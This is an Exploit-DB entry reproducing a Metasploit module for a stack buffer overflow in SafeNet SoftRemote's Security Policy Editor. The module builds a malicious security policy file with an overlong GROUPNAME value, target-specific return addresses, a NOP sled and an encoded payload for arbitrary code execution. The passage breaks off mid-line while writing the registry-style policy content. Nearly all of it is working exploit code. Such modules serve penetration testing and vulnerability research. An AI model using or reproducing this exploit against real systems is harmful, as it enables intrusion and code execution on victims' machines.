Exploit-DB #16643
Description: SafeNet SoftRemote - GROUPNAME Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: safenet_softremote_groupname.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SafeNet SoftRemote GROUPNAME Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in SafeNet SoftRemote
				Security Policy Editor <= 10.8.5. When an attacker
				creates a specially formatted security policy with an
				overly long GROUPNAME argument, it is possible to execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2009-3861' ],
					[ 'OSVDB', '59660'],
					[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-09-008' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'   =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English',  { 'Ret' => 0x7e47bcaf } ],
					[ 'WinSrv 2000 SP4 English', { 'Ret' => 0x78344dd3 } ],
					[ 'WinSrv 2000 SP2 English', { 'Ret' => 0x7843c1a1 } ],
					[ 'WinSrv 2003 Enterprise Edition SP1 (v1023) English', { 'Ret' => 0x7741246b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 30 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.',  'msf.spd']),
			], self.class)
	end

	def exploit
		# Need to cause the access violation!!
		sploit = rand_text_alpha_upper(20024)

		sploit[92,4] = [target.ret].pack('V')
		# Play it safe.
		sploit[96,100] = "\x90" * 100
		sploit[196,payload.encoded.length] = payload.encoded

		spd =  "REGEDIT4\n"
		spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL]\n"
		spd << "\"CrlPollInterval\"=dword:00000001\n"
		spd << "\"CertPollingInterval\"=dword:0000000f\n"
		spd << "\"PolicyInterval\"=dword:000005a0\n"
		spd << "\"NETPROC\"=dword:00000003\n"
		spd << "\"LACTNETPROC\"=dword:00000003\n"
		spd << "\"BUILDVER\"=\"10.8.1 (Build 10)\"\n"
		spd << "\"NONNIPPROC\"=dword:00000001\n"
		spd << "\"STATICIP\"=dword:00000000\n"
		spd << "\"ENABLEGATEWAY\"=dword:00000000\n"
		spd << "\"ENABLELOGGING\"=dword:00000000\n"
		spd << "\"RETRANSTIMER\"=dword:0000000f\n"
		spd << "\"RETRYCOUNTER\"=dword:00000003\n"
		spd << "\"NOTIFICPAYLOADS\"=dword:00000001\n"
		spd << "\"PolicyServerPort\"=dword:00000185\n"
		spd << "\"UsePolicyServer\"=dword:00000000\n"
		spd << "\"PolicyServerName\"=""\n"
		spd << "\"NewPolicyResetsConns\"=dword:00000000\n"
		spd << "\"UseCerts\"=dword:00000000\n"
		spd << "\"PublishMyCert\"=dword:00000001\n"
		spd << "\"PolicySubtree\"=\"ou=SoftRemote, o=SafeNet\"\n"
		spd << "\"PDPMode\"=dword:00000000\n"
		spd << "\"PDPUrl\"=\"\"\n"
		spd << "\"UseProxyServer\"=dword:00000000\n"
		spd << "\"ProxyServer\"=\"\"\n"
		spd << "\"LdapServer\"=\"\"\n"
		spd << "\"DefaultCrlUrl\"=\"\"\n"
		spd << "\"EnableCrlPolling\"=dword:00000000\n"
		spd << "\"SCARD_CLEARS_KEYS\"=dword:00000000\n"
		spd << "\"VPNRequiresFirewall\"=dword:00000000\n"
		spd << "\"BypassRequiresFirewall\"=dword:00000000\n"
		spd << "\"MapVPNToFirewall\"=dword:00000000\n"
		spd << "\"MapPolicyToFirewall\"=dword:00000000\n"
		spd << "\"MapBypassToFirewall\"=dword:00000000\n"
		spd << "\"EnableFirewallLogging\"=dword:00000000\n"
		spd << "\"TCPENCAPPORT\"=dword:00000000\r\n\r\n"
		spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0]\n"
		spd << "\"ACTION\"=dword:00000001\n"
		spd << "\"TREENAME\"=\"Other Connections\"\n"
		spd << "\"GROUPID\"=\"_SafeNet_Default_Group\"\n"
		spd << "\"LOCKMODE\"=dword:00000000\n"
		spd << "\"USEMANKEYS\"=dword:00000000\n"
		spd << "\"USEPPKS\"=dword:00000000\n"
		spd << "\"USEPFS\"=dword:00000000\n"
		spd << "\"REPLAYDETECT\"=dword:00000001\n"
		spd << "\"MANUALONLY\"=dword:00000000\n"
		spd << "\"AGGRMODE\"=dword:00000000\n"
		spd << "\"P2GROUPDESC\"=dword:00000002\r\n\r\n"
		spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID]\n"
		spd << "\"CERTIFICATELABEL\"=\"\"\n"
		spd << "\"CERTIFICATEISSUER\"=hex:\n"
		spd << "\"PORT\"=dword:ffffffff\n"
		spd << "\"PORTNAME\"=\"All\"\n"
		spd << "\"NET_INTFC\"=\"\"\n"
		spd << "\"InternalIP\"=dword:00000000\n"
		spd << "\"AUTOCERT\"=dword:00000001\n"
		spd << "\"TYPE\"=dword:00000009\n"
		spd << "\"FQDN\"=\"\"\n"
		spd << "\"UFQDN\"=\"\"\n"
		spd << "\"DN\"=hex:\n"
		spd << "\"PRESHR\"=hex:\r\n\r\n"
		spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID\\VASUPPORT]\n"
		spd << "\"VASUPPORT\"=dword:00000000\r\n\r\n"
		spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH1PROPOSAL_0]\n"
		spd << "\"AUTHMETHOD\"=dword:00000003\n"
		spd << "\"PH1ENCRALG\"=dword:00000005\n"
		spd << "\"PH1KEYLEN\"=dword:00000000\n"
		spd << "\"PH1HASHALG\"=dword:00000002\n"
		spd << "\"GROUPDESC\"=dword:00000002\n"
		spd << "\"IKESALIFETYPE\"=dword:00000000\n"
		spd << "\"IKESADUR_KB\"=dword:00000000\n"
		spd << "\"IKESADUR_SEC\"=dword:00000000\r\n\r\n"
		spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH2PROPOSAL_0]\n"
		spd << "\"AH\"=dword:00000000\n"
		spd << "\"AHTRANSFORM\"=dword:00000003\n"
		spd << "\